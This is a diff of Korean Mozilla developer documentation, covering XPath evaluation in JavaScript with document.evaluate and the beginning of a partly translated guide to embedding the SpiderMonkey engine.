+<pre class="notranslate">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
+</pre>
+
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3>
+
+<p><a href="ko/DOM/document.evaluate">evaluate</a> 함수는 매개변수를 총 5개 취합니다.</p>
+
+<ul>
+ <li><code>xpathExpression</code>: 평가할 XPath 식을 포함하는 문자열</li>
+</ul>
+
+<ul>
+ <li><code>contextNode</code>: <code>xpathExpression</code>이 평가될 모든 자식 노드를 포함하는 문서의 노드. <a href="ko/DOM/document">document</a> 노드가 가장 흔히 쓰입니다.</li>
+</ul>
+
+<ul>
+ <li><code>namespaceResolver</code>: 그 접두사와 관련된 namespace URI를 나타내는 문자열을 반환하는 <code>xpathExpression</code> 내에 포함되는 모든 namespace 접두사를 넘겨주는 함수. 이는 XPath 식에 쓰(이)는 접두사와 문서에 쓰(이)는 아마도 다른 접두사 사이에 변환을 가능하게 합니다. 함수는 어느 한쪽일 수 있습니다.
+
+  <ul>
+   <li><code><a class="external" href="http://www.xulplanet.com/references/objref/XPathEvaluator.html">XPathEvaluator</a></code> 개체의 <code> <a href="ko/DOM/document.createNSResolver">createNSResolver</a></code> 메소드를 써서 <a href="#Implementing_a_Default_Namespace_Resolver">만듭니다</a>. 항상 가상으로 이를 쓰면 좋습니다.</li>
+   <li>HTML 문서를 위해서나 namespace 접두사가 없을 때 쓸 수 있는 <code>null</code>. 만약 <code>xpathExpression</code>가 namespace 접두사를 포함하면 이는 <code>NAMESPACE_ERR</code> 코드를 내는 <code>DOMException</code>을 가져옴을 유의하세요.</li>
+   <li>사용자 정의 맞춤(custom) 함수. 세부 내용은 부록의 <a href="#Implementing_a_User_Defined_Namespace_Resolver">사용자 정의 Namespace Resolver 쓰기</a> 절을 보세요.</li>
+  </ul>
+ </li>
+</ul>
+
+<ul>
+ <li><code>resultType</code>: 평가 결과로 반환되기 바랐던 결과 형을 지정하는 <a href="#XPathResult_Defined_Constants">상수</a>. 가장 흔히 넘겨주는 상수는 가장 자연스러운 형으로 XPath 식의 결과를 반환하는 <code>XPathResult.ANY_TYPE</code>입니다. 부록에 <a href="#XPathResult_Defined_Constants">쓸 수 있는 상수</a> 목록 전체를 포함하는 절이 있습니다. 아래 <a href="#Specifying_the_Return_Type">반환형 지정</a> 절에서 설명합니다.</li>
+</ul>
+
+<ul>
+ <li><code>result</code>: 결과를 반환하는 데 재사용하는 기존 <code>XPathResult</code> 개체나 새 <code>XPathResult</code> 개체를 만드는 데 쓸 수 있는 <code>null</code> 가운데 하나.</li>
+</ul>
+
+<h3 id=".EB.B0.98.ED.99.98.EA.B0.92" name=".EB.B0.98.ED.99.98.EA.B0.92">반환값</h3>
+
+<p><code>resultType</code> 매개변수에서 <a href="#Specifying_the_Return_Type">지정한</a> 형의 <code>XPathResult</code> 개체인 <code>xpathResult</code>를 반환합니다. <code>XPathResult</code> 인터페이스는 <a class="external" href="http://lxr.mozilla.org/seamonkey/source/dom/public/idl/xpath/nsIDOMXPathResult.idl">여기</a>에서 정의됩니다.</p>
+
+<h3 id="Default_Namespace_Resolver_.EA.B5.AC.ED.98.84" name="Default_Namespace_Resolver_.EA.B5.AC.ED.98.84">Default Namespace Resolver 구현</h3>
+
+<p>우리는 <a href="ko/DOM/document">document</a> 개체의 <code>createNSResolver</code> 메소드를 써서 namespace resolver를 만듭니다.</p>
+
+<pre class="notranslate">var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
+</pre>
+
+<p><span class="comment">Or alternatively by using the &lt;code&gt;createNSResolver&lt;/code&gt; method of a &lt;code&gt;XPathEvaluator&lt;/code&gt; object. &lt;pre&gt; var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); &lt;/pre&gt;</span> 그리고 나서 <code>document.evaluate</code> 함수에 <code>namespaceResolver</code> 매개변수로 <code>nsResolver</code> 변수를 넘겨줍니다.</p>
+
+<p>XPath는 null namespace의 단 하나 뿐인 요소와 일치하는 접두사 없는 <code>QNames</code>을 정의함을 유의하세요. XPath에는 기본 namespace를 얻는 방법이 없습니다. null이 아닌 namespace의 요소나 속성을 일치시키려면, 접두사 붙은 이름 검사를 쓰고 접두사를 namespace에 매핑하는 namespace resolver를 만들어야 합니다. 아래 <a href="#Implementing_a_User_Defined_Namespace_Resolver">사용자 정의 namespace resolver 만드는</a> 법을 더 읽으세요.</p>
+
+<h3 id=".EB.B0.98.ED.99.98.ED.98.95_.EC.A7.80.EC.A0.95" name=".EB.B0.98.ED.99.98.ED.98.95_.EC.A7.80.EC.A0.95">반환형 지정</h3>
+
+<p><code>document.evaluate</code>로부터 반환하는 변수 <code>xpathResult</code>는 개별 노드 (<a href="#Simple_Types">단순 형</a>)나 노드 모음(collection) (<a href="#Node-Set_Types">node-set 형</a>) 가운데 하나로 구성할 수 있습니다.</p>
+
+<h4 id=".EB.8B.A8.EC.88.9C_.ED.98.95" name=".EB.8B.A8.EC.88.9C_.ED.98.95">단순 형</h4>
+
+<p><code>resultType</code>으로 바랐던 결과형을 어느 한쪽으로 지정할 때,</p>
+
+<ul>
+ <li><code>NUMBER_TYPE</code> - a double</li>
+ <li><code>STRING_TYPE</code> - a string</li>
+ <li><code>BOOLEAN_TYPE</code> - a boolean</li>
+</ul>
+
+<p>우리는 <code>XPathResult</code> 개체의 다음 속성에 각각 접근하여 식의 반환값을 얻습니다.</p>
+
+<ul>
+ <li><code>numberValue</code></li>
+ <li><code>stringValue</code></li>
+ <li><code>booleanValue</code></li>
+</ul>
+
+<h5 id=".EC.98.88" name=".EC.98.88">예</h5>
+
+<p>다음은 HTML 문서의 <code><span class="nowiki">&lt;p&gt;</span></code> 요소수를 얻기 위해 XPath 식 <code><a href="ko/XPath/Functions/count">count(//p)</a></code>을 씁니다.</p>
+
+<pre class="notranslate">var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
+</pre>
+
+<p>비록 Javascript가 표시를 위해 숫자를 문자열로 변환하는 것을 허용하더라도, <code>stringValue</code> 속성(property)을 요청하면 XPath 인터페이스는 자동으로 숫자 결과로 변환하지 않습니다. 그래서 다음 코드는 작동하지 '<strong>&lt;big&gt;않&lt;/big&gt;'</strong>습니다.</p>
+
+<pre class="notranslate">var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
+
+alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
+</pre>
+
+<p>대신 <code>NS_DOM_TYPE_ERROR</code> 코드를 갖는 예외(exception)를 반환합니다.</p>
+
+<h4 id="Node-Set_.ED.98.95" name="Node-Set_.ED.98.95">Node-Set 형</h4>
+
+<p><code>XPathResult</code> 개체는 주요한 3가지 서로 다른 형으로 반환될 node-set을 허용합니다.</p>
+
+<ul>
+ <li><a href="#Iterators">Iterators</a></li>
+ <li><a href="#Snapshots">Snapshots</a></li>
+ <li><a href="#First_Nodes">First Nodes</a></li>
+</ul>
+
+<h5 id=".EB.B0.98.EB.B3.B5.EC.9E.90.28.ED.9B.91.EA.B0.9C.29" name=".EB.B0.98.EB.B3.B5.EC.9E.90.28.ED.9B.91.EA.B0.9C.29">반복자(훑개)</h5>
+
+<p><code>resultType</code> 매개변수로 지정한 결과형이 어느 한쪽일 때,</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_ITERATOR_TYPE</code></li>
+ <li><code>ORDERED_NODE_ITERATOR_TYPE</code></li>
+</ul>
+
+<p>반환되는 <code>XPathResult</code> 개체는 일치하는 노드(<code>XPathResult</code>의 <code>iterateNext()</code> 메소드를 써서 포함될 개별 노드에 접근함을 허용하는 반복자로 행동할)의 노드 집합입니다.</p>
+
+<p>우리가 모든 일치하는 개별 노드에 반복하고 나면, <code>iterateNext()</code>는 <code>null</code>을 반환합니다.</p>
+
+<p>그러나 주의하세요, 만약 반복 도중에 문서가 바뀌면 (문서 tree가 변경됨) 그것은 반복을 무효로 만들고(invalidate) <code>XPathResult</code>의 <code>invalidIteratorState</code> 속성을 <code>true</code>로 지정하고 <code>NS_ERROR_DOM_INVALID_STATE_ERR</code> 예외를 냅니다.</p>
+
+<h6 id=".EB.B0.98.EB.B3.B5.EC.9E.90_.EC.98.88" name=".EB.B0.98.EB.B3.B5.EC.9E.90_.EC.98.88">반복자 예</h6>
+
+<pre class="notranslate">var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
+
+try {
+  var thisNode = iterator.iterateNext();
+
+  while (thisNode) {
+    alert( thisNode.textContent );
+    thisNode = iterator.iterateNext();
+  }
+}
+catch (e) {
+  dump( 'Error: Document tree modified during iteraton ' + e );
+}
+</pre>
+
+<h5 id="Snapshots" name="Snapshots">Snapshots</h5>
+
+<p><code>resultType</code> 매개변수로 지정한 결과형이 어느 한쪽일 때,</p>
+
+<ul>
+ <li><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></li>
+ <li><code>ORDERED_NODE_SNAPSHOT_TYPE</code></li>
+</ul>
+
+<p>반환되는 <code>XPathResult</code> 개체는 일치하는 노드의 static node-set이고, 그것은 <code>itemNumber</code>가 검색(retrieve)되는 노드의 index인 <code>XPathResult</code> 개체의 <code>snapshotItem(itemNumber)</code> 메소드를 통해 각 노드에 접근을 허용합니다. 포함되는 노드의 총수는 <code>snapshotLength</code> 속성을 통해 입수할 수 있습니다.</p>
+
+<p>Snapshot은 변환 문서로 바꾸지 않습니다. 그래서 반복자와는 달리 snapshot은 무효로 만들지는 않지만 현재 문서와 들어맞지 않을지도 모릅니다, 예를 들어 노드가 이동됐을지도 모르고, 더 이상 존재하지 않는 노드나 추가될 수 있는 새 노드를 포함할지도 모릅니다.</p>
+
+<h6 id="Snapshot_.EC.98.88" name="Snapshot_.EC.98.88">Snapshot 예</h6>
+
+<pre class="notranslate">var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
+
+for ( var i=0 ; i &lt; nodesSnapshot.snapshotLength; i++ )
+{
+  dump( nodesSnapshot.snapshotItem(i).textContent );
+}
+</pre>
+
+<h5 id="First_Node" name="First_Node">First Node</h5>
+
+<p><code>resultType</code> 매개변수로 지정한 결과형이 어느 한쪽일 때,</p>
+
+<ul>
+ <li><code>ANY_UNORDERED_NODE_TYPE</code></li>
+ <li><code>FIRST_ORDERED_NODE_TYPE</code></li>
+</ul>
+
+<p>반환되는 <code>XPathResult</code> 개체는 XPath 식과 일치하는 오직 처음 발견한 노드입니다. 이는 <code>XPathResult</code> 개체의 <code>singleNodeValue</code> 속성을 통해 접근할 수 있습니다. 이는 노드 집합이 비면 <code>null</code>입니다.</p>
+
+<p>순서 없는 subtype인 경우 반환되는 단일 노드가 문서 순으로 처음이 아닐지도 모르지만 순서 있는 subtype인 경우 문서 순으로 처음 일치하는 노드임을 보장함을 유의하세요.</p>
+
+<h6 id="First_Node_.EC.98.88" name="First_Node_.EC.98.88">First Node 예</h6>
+
+<pre class="notranslate">var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
+
+dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
+</pre>
+
+<h4 id="ANY_TYPE_.EC.83.81.EC.88.98" name="ANY_TYPE_.EC.83.81.EC.88.98">ANY_TYPE 상수</h4>
+
+<p><code>resultType</code> 매개변수에 결과형을 <code>ANY_TYPE</code>으로 지정할 때, 반환되는 <code>XPathResult</code> 개체는, 식 평가에서 자연스럽게 생긴 어떤 형입니다.</p>
+
+<p>단순 형( <code>NUMBER_TYPE, STRING_TYPE, BOOLEAN_TYPE</code> ) 가운데 하나일 수도 있습니다, <strong>&lt;big&gt;하지만&lt;/big&gt;</strong>, 만약 반환되는 결과형이 node-set이면 <strong>&lt;big&gt;오직&lt;/big&gt;</strong> <code>UNORDERED_NODE_ITERATOR_TYPE</code>입니다.</p>
+
+<p>평가 뒤 형을 결정하기 위해서, 우리는 <code>XPathResult</code> 개체의 <code>resultType</code> 속성을 씁니다. 이 속성의 <a href="#XPathResult_Defined_Constants">상수</a>값은 부록에서 정의합니다. <span class="comment">None Yet =====Any_Type 예===== &lt;pre&gt; &lt;/pre&gt;</span></p>
+
+<h2 id=".EC.98.88_2" name=".EC.98.88_2">예</h2>
+
+<h3 id="HTML_.EB.AC.B8.EC.84.9C_.EC.95.88.EC.97.90.EC.84.9C" name="HTML_.EB.AC.B8.EC.84.9C_.EC.95.88.EC.97.90.EC.84.9C">HTML 문서 안에서</h3>
+
+<p>다음 코드는 XPath 식이 평가될 HTML 문서 안에서나 문서에 연결(link)된 어떤 JavaScript 조각(fragment)에 놓을 셈입니다.</p>
+
+<p>XPath를 써서 HTML의 모든 <code><span class="nowiki">&lt;h2&gt;</span></code> heading 요소를 뽑아내면(extract), <code>xpathExpression</code> 문자열은 간단히 '<code>//h2</code>'입니다. 어떤 점에서, <code>//</code>는 요소 트리 어디에서나 노드명 <code>h2</code>와 요소를 일치시키는 재귀 내림 연산자(Recursive Descent Operator)입니다. 이를 위한 자세한 코드입니다. <span class="comment">link to introductory xpath doc</span></p>
+
+<pre class="notranslate">var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
+</pre>
+
+<p>HTML이 namespace가 없기 때문에, 우리는 <code>namespaceResolver</code> 매개변수에 <code>null</code>을 넘겨줌을 유의하세요.</p>
+
+<p>우리가 문서 전체에서 heading을 찾기를 바라기 때문에, 우리는 <code>contextNode</code>로 <a href="ko/DOM/document">document</a> 개체 자신을 씁니다.</p>
+
+<p>이 식의 결과는 <code>XPathResult</code> 개체입니다. 우리가 반환되는 결과형을 알고 싶다면, 우리는 반환되는 개체의 <code>resultType</code> 속성을 평가할지도 모릅니다. 이 경우에는 그것은 값이 <code>4</code>인 <code>UNORDERED_NODE_ITERATOR_TYPE</code>로 평가합니다. 이는 XPath 식의 결과가 node-set일 때 기본 반환형입니다. 동시에 단일 노드로 접근을 제공하고 특정 순서로 노드를 반환할지도 모릅니다. 반환되는 개체에 접근하기 위해, 우리는 반환되는 개체의 <code>iterateNext()</code> 메소드를 씁니다.</p>
+
+<pre class="notranslate">var thisHeading = headings.iterateNext();
+
+var alertText = 'Level 2 headings in this document are:\n'
+
+while (thisHeading) {
+  alertText += thisHeading.textContent + '\n';
+  thisHeading = headings.iterateNext();
+}
+</pre>
+
+<p>우리가 한 노드를 반복하기만 하면, 우리는 그 노드의 모든 표준 <a href="ko/DOM_interfaces">DOM interfaces</a>에 접근할 수 있습니다. 우리 식에서 반환된 모든 <code>h2</code> 요소를 반복한 뒤에, 더 이상의 <code>iterateNext()</code> 호출은 <code>null</code>을 반환합니다.</p>
+
+<h3 id=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EC.95.88.EC.97.90.EC.84.9C_XML_.EB.AC.B8.EC.84.9C_.ED.8F.89.EA.B0.80" name=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EC.95.88.EC.97.90.EC.84.9C_XML_.EB.AC.B8.EC.84.9C_.ED.8F.89.EA.B0.80">확장기능 안에서 XML 문서 평가</h3>
+
+<p>다음은 예로 <a class="external" rel="freelink">chrome://yourextension/content/peopleDB.xml에</a> 자리한 XML 문서를 씁니다.</p>
+
+<pre class="notranslate">&lt;?xml version="1.0"?&gt;
+&lt;people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" &gt;
+  &lt;person&gt;
+	&lt;name first="george" last="bush" /&gt;
+	&lt;address street="1600 pennsylvania avenue" city="washington" country="usa"/&gt;
+	&lt;phoneNumber&gt;202-456-1111&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+  &lt;person&gt;
+	&lt;name first="tony" last="blair" /&gt;
+	&lt;address street="10 downing street" city="london" country="uk"/&gt;
+	&lt;phoneNumber&gt;020 7925 0918&lt;/phoneNumber&gt;
+  &lt;/person&gt;
+&lt;/people&gt;
+</pre>
+
+<p>확장기능 안에서 XML 문서의 컨텐트를 쓸 수 있게, 우리는 문서를 로드하는 동시에 변수 <code>xmlDoc</code>를 우리가 <code>evaluate</code> 메소드를 쓸 수 있는 <code><a href="ko/XMLDocument">XMLDocument</a></code> 개체로 문서에 포함하는 <code><a href="ko/XMLHttpRequest">XMLHttpRequest</a></code> 개체를 만듭니다,</p>
+
+<p>JavaScript는 확장기능 xul/js 문서에 씁니다.</p>
+
+<pre class="notranslate">var req = new XMLHttpRequest();
+
+req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
+req.send(null);
+
+var xmlDoc = req.responseXML;
+
+var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
+
+var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
+<h2 id=".EB.B6.80.EB.A1.9D" name=".EB.B6.80.EB.A1.9D">부록</h2>
+
+<h4 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_Namespace_Resolver_.EA.B5.AC.ED.98.84" name=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.A0.95.EC.9D.98_Namespace_Resolver_.EA.B5.AC.ED.98.84">사용자 정의 Namespace Resolver 구현</h4>
+
+<p>이는 단지 설명을 위한 예입니다. 이 함수는 <code>xpathExpression</code>에서 namespace 접두사를 취할 필요가 있고 그 접두사와 들어맞는 URI를 반환합니다. 예를 들어, 다음 식은</p>
+
+<pre class="notranslate">'//xhtml:td/mathml:math'
+</pre>
+
+<p>(X)HTML 표 데이터 셀 요소의 자식인 모든 <a href="ko/MathML">MathML</a> 식을 선택합니다.</p>
+
+<p><code>mathml:</code> 접두사를 namespace URI '<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>'와 <code>html:</code>을 URI <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code>와 관련시키기 위해 우리는 함수 하나를 제공합니다.</p>
+
+<pre class="notranslate">function nsResolver(prefix) {
+  var ns = {
+    'xhtml' : 'http://www.w3.org/1999/xhtml',
+    'mathml': 'http://www.w3.org/1998/Math/MathML'
+  };
+  return ns[prefix] || null;
+}
+</pre>
+
+<p>그러면 <code>document.evaluate</code> 호출은 다음과 같습니다.</p>
+
+<pre class="notranslate">document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
+</pre>
+
+<h4 id="XPathResult_.EC.A0.95.EC.9D.98_.EC.83.81.EC.88.98" name="XPathResult_.EC.A0.95.EC.9D.98_.EC.83.81.EC.88.98">XPathResult 정의 상수</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">결과형 정의 상수</td>
+   <td class="header">값</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td>ANY_TYPE</td>
+   <td>0</td>
+   <td>식 평가에서 자연스럽게 생긴 어떤 형을 포함하는 결과 집합. 만약 결과가 node-set이면 UNORDERED_NODE_ITERATOR_TYPE이 항상 결과형임을 주의하세요.</td>
+  </tr>
+  <tr>
+   <td>NUMBER_TYPE</td>
+   <td>1</td>
+   <td>single 숫자를 포함하는 결과. 이는 예를 들어, <code>count()</code> 함수를 쓰는 XPath 식에 쓸모가 있습니다.</td>
+  </tr>
+  <tr>
+   <td>STRING_TYPE</td>
+   <td>2</td>
+   <td>single 문자열을 포함하는 결과.</td>
+  </tr>
+  <tr>
+   <td>BOOLEAN_TYPE</td>
+   <td>3</td>
+   <td>single boolean 값을 포함하는 결과. 이는 예를 들어, <code>not()</code> 함수를 쓰는 XPath 식에 쓸모가 있습니다.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_ITERATOR_TYPE</td>
+   <td>4</td>
+   <td>식과 일치하는 모든 노드를 포함하는 결과 node-set. 노드는 반드시 문서에 나타나는 순서대로가 아닐지도 모릅니다.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_ITERATOR_TYPE</td>
+   <td>5</td>
+   <td>식과 일치하는 모든 노드를 포함하는 결과 node-set. 결과 집합의 노드는 문서에 나타나는 순서대로입니다.</td>
+  </tr>
+  <tr>
+   <td>UNORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>6</td>
+   <td>식과 일치하는 모든 노드의 snapshot을 포함하는 결과 node-set. 노드는 반드시 문서에 나타나는 순서대로가 아닐지도 모릅니다.</td>
+  </tr>
+  <tr>
+   <td>ORDERED_NODE_SNAPSHOT_TYPE</td>
+   <td>7</td>
+   <td>식과 일치하는 모든 노드의 snapshot을 포함하는 결과 node-set. 결과 집합의 노드는 문서에 나타나는 순서대로입니다.</td>
+  </tr>
+  <tr>
+   <td>ANY_UNORDERED_NODE_TYPE</td>
+   <td>8</td>
+   <td>식과 일치하는 어떤 단일 노드를 포함하는 결과 node-set. 노드는 식과 일치하는 문서의 첫 노드일 필요는 없습니다.</td>
+  </tr>
+  <tr>
+   <td>FIRST_ORDERED_NODE_TYPE</td>
+   <td>9</td>
+   <td>식과 일치하는 문서의 첫 노드를 포함하는 결과 node-set.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="originaldocinfo">
+<h2 id=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.B3.B8_.EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">원본 문서 정보</h2>
+
+<ul>
+ <li>원본 문서 <a class="external" href="http://www-xray.ast.cam.ac.uk/~jgraham/mozilla/xpath-tutorial.html">Mozilla XPath 입문서</a>를 기반으로 함</li>
+ <li>원본 소스 저자: James Graham.</li>
+ <li>다른 기여자: James Thompson.</li>
+ <li>맨 나중 업데이트: 2006-3-25.</li>
+</ul>
+</div>
+
+<p>{{ languages( { "en": "en/Introduction_to_using_XPath_in_JavaScript" } ) }}</p>
diff --git a/files/ko/javascript_c_engine_embedder's_guide/index.html b/files/ko/javascript_c_engine_embedder's_guide/index.html
new file mode 100644
index 0000000000..db46ed7fee
--- /dev/null
+++ b/files/ko/javascript_c_engine_embedder's_guide/index.html
@@ -0,0 +1,434 @@
+---
+title: JavaScript C Engine Embedder's Guide
+slug: JavaScript_C_Engine_Embedder's_Guide
+tags:
+  - SpiderMonkey
+---
+<p>이 문서는 C로 구현된 <a href="ko/JavaScript">JavaScript</a> 엔진인 <a href="ko/SpiderMonkey">SpiderMonkey</a>를 전반적으로 소개하며, 애플리케이션이 JavaScript를 인식하도록 하기 위해 어떻게 엔진을 내장하는지에 대해 설명합니다. JavaScript엔진을 여러분의 애플리케이션에 내장하는데는 두가지 큰 이유가 있을 것입니다. 먼저, 스크립트를 사용하여 애플리케이션을 자동화하는 것이 있고, JavaScript엔진과 스크립트를 사용하여 특정 플랫폼에 의존적인 애플케이션 솔루션이 되지 않도록 크로스 플랫폼을 지원하는 것입니다.</p>
+<h3 id=".EC.A7.80.EC.9B.90.EB.90.98.EB.8A.94_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.B2.84.EC.A0.84" name=".EC.A7.80.EC.9B.90.EB.90.98.EB.8A.94_.EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EB.B2.84.EC.A0.84">지원되는 자바스크립트 버전</h3>
+<p>모질라 JS 엔진은 JS1.8, JS 1.3을 통해 JS1.0을 지원하고 ECMAScript-262 규약을 충족합니다. 간단하게 보면, JS 엔진은 JS 문장과 함수를 포함하는 스크립트를 파싱하여 컴파일하고 실행합니다. 해당 엔진은 스크립트 실행에 필요한 JS 개체의 메모리 할당을 관리하고 더 이상 필요하지 않을 경우, 가비지 컬렉션을 통해 개체를 지웁니다.</p>
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.97.94.EC.A7.84.EC.9D.84_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EB.82.98.3F" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_.EC.97.94.EC.A7.84.EC.9D.84_.EC.96.B4.EB.96.BB.EA.B2.8C_.EC.82.AC.EC.9A.A9.ED.95.98.EB.82.98.3F">자바스크립트 엔진을 어떻게 사용하나?</h3>
+<p>일반적으로 JS엔진은 공유 리소스로 빌드합니다. 예를 들어, 윈도와 윈도NT에서는 DLL이고 유닉스에서는 공유 라이브러리가 됩니다. 사용방법은 간단합니다. 우선 애플리케이션에 JS엔진을 링크하고 나서 JS엔진 API를 애플리케이션에 임베딩합니다. 이렇게 하면 JS엔진 API는 다음 종류에 해당하는 기능을 제공하게 됩니다.</p>
+<ul>
+ <li>Data Type Manipulation</li>
+ <li>Run Time Control</li>
+ <li>Class and Object Creation and Maintenance</li>
+ <li>Function and Script Execution</li>
+ <li>String Handling</li>
+ <li>Error Handling</li>
+ <li>Security Control</li>
+ <li>Debugging Support</li>
+</ul>
+<p>애플리케이션이 자바스크립트 호출을 지원하려면 런타임 제어(runtime control)와 데이터 타입 조정(datatype manipulation)등과 같은 종류의 기능을 사용합니다. 예를 들어, 어떤 자바스크립트를 호출하기전에 <code><a class="external" href="http://developer.mozilla.org/en/docs/JS_NewRuntime">JS_NewRuntime</a></code>함수를 호출해서 JS엔진을 생성하고 초기화해야 하며, 보안 제어(security control)와 같은 기능은 필요에 따라 선택적으로 사용할 수 있습니다.</p>
+<h3 id="How_Does_the_Engine_Relate_to_Applications.3F" name="How_Does_the_Engine_Relate_to_Applications.3F">How Does the Engine Relate to Applications?</h3>
+<p>개념적으로 JS엔진은 시스템에 존재하는 공유 리소스라고 볼 수 있습니다. API call을 애플리케이션에 임베딩하여, JS엔진에 요청을 넘길 수 있습니다. 요청을 처리한 엔진은 값이나 상태정보를 애플리케이션에 되돌려줍니다. 그림1.1은 이러한 일반적인 관계를 보여주고 있습니다.</p>
+<p><b><small>그림 1.1</small></b></p>
+<p><img alt="Image:Over1.gif"></p>
+<p>예를 들어 여러분이 자바스크립트를 사용하여 애플리케이션을 자동화하기 위해 JS엔진을 사용한다고 가정합시다. 그리고 해당 애플리케이션에서 실행하는 스크립트에 사용자를 인증하고 애플리케이션에 사용자 접근 권한을 설정한다고 합시다. 우선, 애플리케이션은 사용자에게 이름, 아이디, 접근권한을 위한 입력과 사용자에게 허락되어 애플리케이션에서 사용 가능한 기능 리스트를 보여줄 수 있는 JS 오브젝트를 생성할 수도 있습니다.</p>
+<p>이러한 경우, 애플리케이션이 처음으로 JS엔진에 요청하는 것은 <code><a href="ko/JS_NewObject">JS_NewObject</a></code>를 호출하여 사용자 정의 개체를 생성하는 것입니다. JS엔진이 개체를 생성할 때, 애플리케이션에 해당 포인터를 반환합니다. 이때 부터 애플리케이션은 해당 개체를 사용하여 스크립트를 실행하기 위해 다시 JS엔진을 호출할 수 있습니다. 예를 들어, 사용자 개체를 생성한 이후, 애플리케이션은 스크립트를 즉시 컴파일하고 실행하기 위해 바로 <code><a href="ko/JS_EvaluateScript">JS_EvaluateScript</a></code>에 전달할 것입니다. 그 결과, 좀 전의 스크립트는 사용자 정보를 얻어 확인해주고 애플리케이션이 가진 다른 기능을 사용할 수 있도록 접근 권한을 허락하게 됩니다.</p>
+<p>In truth, the actual relationship between your application and the JS engine is somewhat more complex than shown in Figure 1.1. For example, it assumes that you have already built the JS engine for your platform. It assumes that your application code includes <code>jsapi.h</code>, and it assumes that the first call your application makes to the engine initializes the JS run time.</p>
+<p>When the JS engine receives an initialization request, it allocates memory for the JS run time. Figure 1.2 illustrates this process:</p>
+<p><b><small>Figure 1.2</small></b></p>
+<p><img alt="Image:Over2.gif"></p>
+<p>The run time is the space in which the variables, objects, and contexts used by your application are maintained. A context is the script execution state for a thread used by the JS engine. Each simultaneously existent script or thread must have its own context. A single JS run time may contain many contexts, objects, and variables.</p>
+<p>Almost all JS engine calls require a context argument, so one of the first things your application must do after creating the run time is call <code><a href="ko/JS_NewContext">JS_NewContext</a></code> at least once to create a context. The actual number of contexts you need depends on the number of scripts you expect to use at the same time in your application. You need one context for each simultaneously existing script in your application. On the other hand, if only one script at a time is compiled and executed by your application, then you need only create a single context that you can then reuse for each script.</p>
+<p>After you create contexts, you will usually want to initialize the built-in JS objects in the engine by calling <code><a href="ko/JS_InitStandardClasses">JS_InitStandardClasses</a></code>. The built-in objects include the <code>Array</code>, <code>Boolean</code>, <code>Date</code>, <code>Math</code>, <code>Number</code>, and <code>String</code> objects used in most scripts.</p>
+<p>Most applications will also use custom JS objects. These objects are specific to the needs of your applications. They usually represent data structures and methods used to automate parts of your application. To create a custom object, you populate a JS class for the object, call <code><a href="ko/JS_InitClass">JS_InitClass</a></code> to set up the class in the run time, and then call <code><a href="ko/JS_NewObject">JS_NewObject</a></code> to create an instance of your custom object in the engine. Finally, if your object has properties, you may need to set the default values for them by calling <code><a href="ko/JS_SetProperty">JS_SetProperty</a></code> for each property.</p>
+<p>Even though you pass a specific context to the JS engine when you create an object, an object then exists in the run time independent of the context. Any script can be associated with any context to access any object. Figure 1.3 illustrates the relationship of scripts to the run time, contexts, and objects.</p>
+<p><b><small>Figure 1.3</small></b></p>
+<p><img alt="Image:Over3.gif"></p>
